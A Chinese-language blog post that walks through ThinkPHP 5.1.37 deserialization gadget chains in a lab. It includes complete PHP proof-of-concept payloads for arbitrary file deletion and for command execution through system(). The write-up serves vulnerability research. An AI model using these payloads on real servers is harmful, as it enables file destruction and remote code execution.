Loading

thinkphp 5.1.x反序列化分析

0x01 环境搭建

环境

  • php 7.0.9
  • appache 2.4
  • thinkphp 5.1.37

源码

https://github.com/top-think/framework/releases/tag/v5.1.37
https://github.com/top-think/think/releases/tag/v5.1.37

将framework改名thinkphp放到think-5.1.37

条件

必须有能够调用执行 __destruct() 的函数 因此在index页面添加了 unserialize()函数

image-20210412153627130

0x02 任意文件删除

pop链

入口点

全局搜索__destruct()

#thinkphp/library/think/process/pipes/Windows.php

public function __destruct()
{
    $this->close();
    $this->removeFiles();
}

跟进removeFiles()

#thinkphp/library/think/process/pipes/Windows.php

private function removeFiles()
{
    foreach ($this->files as $filename) {
        if (file_exists($filename)) {
            @unlink($filename);
        }
    }
    $this->files = [];
}

可以看到 $filename 是可控的 并且通过 unlink() 可以直接删除文件

构造poc

<?php

namespace think\process\pipes;

class Pipes{}

class Windows extends Pipes
{
    private $files = ['E:\\test\\1.txt'];

}

echo base64_encode(serialize(new Windows()));
//TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjEzOiJFOlx0ZXN0XDEudHh0Ijt9fQ==

利用

在E盘test目录新建文件1.txt

image-20210412154250532

post数据 可以看到文件已经被删除

image-20210412154331345

0x03 命令执行

pop链 1

file_exists()

在之前的 removeFiles() 方法中发现会先使用 file_exits() 函数判断文件是否存在

在使用file_exits() 函数时会执行魔法方法 __toString()

全局搜索 __toString()

thinkphp/library/think/model/concern/Conversion.php 找到 __toString()

#thinkphp/library/think/model/concern/Conversion.php

public function __toString()
{
    return $this->toJson();
}

跟进toJson()

#thinkphp/library/think/model/concern/Conversion.php

public function toJson($options = JSON_UNESCAPED_UNICODE)
{
    return json_encode($this->toArray(), $options);
}

跟进toArray()

#thinkphp/library/think/model/concern/Conversion.php

public function toArray()
{
             ......
    // 追加属性(必须定义获取器)
    if (!empty($this->append)) {
        foreach ($this->append as $key => $name) {
            if (is_array($name)) {
                // 追加关联对象属性
                $relation = $this->getRelation($key);

                if (!$relation) {
                    $relation = $this->getAttr($key);
                    $relation->visible($name);
                }

                $item[$key] = $relation->append($name)->toArray();
            } elseif (strpos($name, '.')) {
             ......
            }
        }
    }

    return $item;
}

$append 的值为数组即可进入 getRelation() 跟进getRelation()

#thinkphp/library/think/model/concern/RelationShip.php

public function getRelation($name = null)
{
    if (is_null($name)) {
        return $this->relation;
    } elseif (array_key_exists($name, $this->relation)) {
        return $this->relation[$name];
    }
    return;
}

因此不用管 getRelation() 默认返回为空 进入条件

跟进getAttr()

#thinkphp/library/think/model/concern/Attribute.php

public function getAttr($name, &$item = null)
{
    try {
        $notFound = false;
        $value    = $this->getData($name);
    } catch (InvalidArgumentException $e) {
        $notFound = true;
        $value    = null;
    }
    ......
        
    return $value;
}

跟进getData()

#thinkphp/library/think/model/concern/Attribute.php

public function getData($name = null)
{
    if (is_null($name)) {
        return $this->data;
    } elseif (array_key_exists($name, $this->data)) {
        return $this->data[$name];
    } elseif (array_key_exists($name, $this->relation)) {
        return $this->relation[$name];
    }
    throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

因此可以得出 $relation 来自 getAttr($key) 中的 $valuegetData() 中的 $this->data[$name] 可控

构造poc

为满足下面 $relation->visible($name); 不存在调用 __call()方法 $data 类型为对象

为满足 if (is_array($name)) $append 类型为数组

注意

在利用链中的 Conversion , Relationship , Attribute 都是 trait ,而 Model 正好都 use 了

image-20210412172604459

Model是抽象类,因此不能直接new ,需要继承了他的子类的类 如 Pivot

image-20210412202349896

<?php

namespace think;
abstract class Model{}

use MongoDB\BSON\ObjectId;

class Pivot extends Model
{
    protected $append = [];
    private $data = [];

    function __construct()
    {
        $this->append = ['Th0r' => [args]];
        $this->data = ['Th0r' => Obj];
    }
}

namespace think\process\pipes;

class Pipes{}
class Windows extends Pipes
{
    private $files = [];
    
    function __construct(){
        $this->files = [new Pivot()];
    }
}

pop链 2

__call()

接下来需要寻找 __call() 方法 在 thinkphp/library/think/Request.php 找到

#thinkphp/library/think/Request.php

public function __call($method, $args)
{
    if (array_key_exists($method, $this->hook)) {
        array_unshift($args, $this);
        return call_user_func_array($this->hook[$method], $args);
    }

    throw new Exception('method not exists:' . static::class . '->' . $method);
}

可以看到有 call_user_func_array() 方法 并且 $method 是可控的

但是内容 $args 不可控 array_unshift() 函数用于向数组插入新元素。新数组的值将被插入到数组的开头。

找到input()

think\Request 类中的 input() 方法 是一个不错的利用点,相当于call_user_func($filter,$data)

#thinkphp/library/think/Request.php

public function input($data = [], $name = '', $default = null, $filter = '')
{
    if (false === $name) {
        // 获取原始数据
        return $data;
    }

    $name = (string) $name;
    if ('' != $name) {
        // 解析name
        if (strpos($name, '/')) {
            list($name, $type) = explode('/', $name);
        }

        $data = $this->getData($data, $name);

        if (is_null($data)) {
            return $default;
        }

        if (is_object($data)) {
            return $data;
        }
    }

    // 解析过滤器
    $filter = $this->getFilter($filter, $default);

    if (is_array($data)) {
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        if (version_compare(PHP_VERSION, '7.1.0', '<')) {
            // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
            $this->arrayReset($data);
        }
    } else {
        $this->filterValue($data, $name, $filter);
    }

    if (isset($type) && $data !== $default) {
        // 强制类型转换
        $this->typeCast($data, $type);
    }

    return $data;
}

'' == $name 时 不满足条件 当 $data 不为数组时 执行 filterValue()方法

跟进filterValue()



private function filterValue(&$value, $key, $filters)
{
    $default = array_pop($filters);

    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);

这里 $filter 是可控的 但是 $value 并不是 已经被写死为一个固定的类对象,再在 input() 方法中使用 $name = (string) $name; 是会导致出错的 因此寻找其他同样使用了 input() 并且 $date 可控的方法

找到param()

全局查找到param方法

#thinkphp/library/think/Request.php

public function param($name = '', $default = null, $filter = '')
{
    if (!$this->mergeParam) {
        $method = $this->method(true);

        // 自动获取请求变量
        switch ($method) {
            case 'POST':
                $vars = $this->post(false);
                break;
            case 'PUT':
            case 'DELETE':
            case 'PATCH':
                $vars = $this->put(false);
                break;
            default:
                $vars = [];
        }

        // 当前请求参数和URL地址中的参数合并
        $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

        $this->mergeParam = true;
    }

    if (true === $name) {
        // 获取包含文件上传信息的数组
        $file = $this->file();
        $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

        return $this->input($data, '', $default, $filter);
    }

    return $this->input($this->param, $name, $default, $filter);
}

这里$param 是完全可控的 因此 也就是 input()$data 也是可控的 相当于 call_user_func$value 可控了

现在需要满足 $name 为字符串 查找

调用了 param()方法 的方法

找到isAjax()

#thinkphp/library/think/Request.php

public function isAjax($ajax = false)
{
    $value  = $this->server('HTTP_X_REQUESTED_WITH');
    $result = 'xmlhttprequest' == strtolower($value) ? true : false;

    if (true === $ajax) {
        return $result;
    }

    $result = $this->param($this->config['var_ajax']) ? true : $result;
    $this->mergeParam = false;
    return $result;
}

其中 $this->config['var_ajax'] 可控 因此 param 函数中的 $name 可控

构造poc

总结一下就是 isAjax()的$this->config['var_ajax'] -> param()的$name -> input()的$name 为字符串

param()的$this->param -> input()的$data -> filterValue()的$data ->call_user_func()的$value 为参数

filterValue()的$filter -> input()的$filter -> filterValue()的$filter -> call_user_func()的$filter 为方法

namespace think;
class Request
{
    protected $hook = [];
    protected $config = [];
    protected $filter;
    protected $param = [];

    public function __construct(){
        $this->filter = 'system';
        $this->param = ['whoami'];
        $this->hook = ['visible'=>[$this,'isAjax']];
        $this->config = ['var_ajax' => ''];
    }
}

最终poc

<?php

namespace think;
use think\facade\Cookie;
use think\facade\Session;

class Request
{
    protected $hook = [];
    protected $config = [];
    protected $filter;
    protected $param = [];

    public function __construct(){
        $this->filter = 'system';
        $this->param = ['calc.exe'];
        $this->hook = ['visible'=>[$this,'isAjax']];
        $this->config = ['var_ajax' => ''];
    }
}

abstract class Model{
    protected $append = [];
    private $data = [];

    function __construct()
    {
        $this->append = ['Th0r' => ['a']];
        $this->data = ['Th0r' => new Request()];
    }
}

namespace think\model;
use think\Model;
use think\Request;

class Pivot extends Model
{

}

namespace think\process\pipes;
use think\model\Pivot;

class Pipes{}

class Windows extends Pipes
{
    private $files = [];

    function __construct(){
        $this->files = [new Pivot()];
    }
}

echo base64_encode(serialize(new Windows()));

image-20210413142401989

0x04 注意点

  • 定义值应该在本身调用的类里 而不能再继承的类里
  • 在生成payload时在命名空间类创建对象应该先use
posted @ 2021-04-13 14:55  Th0r  阅读(968)  评论(0编辑  收藏  举报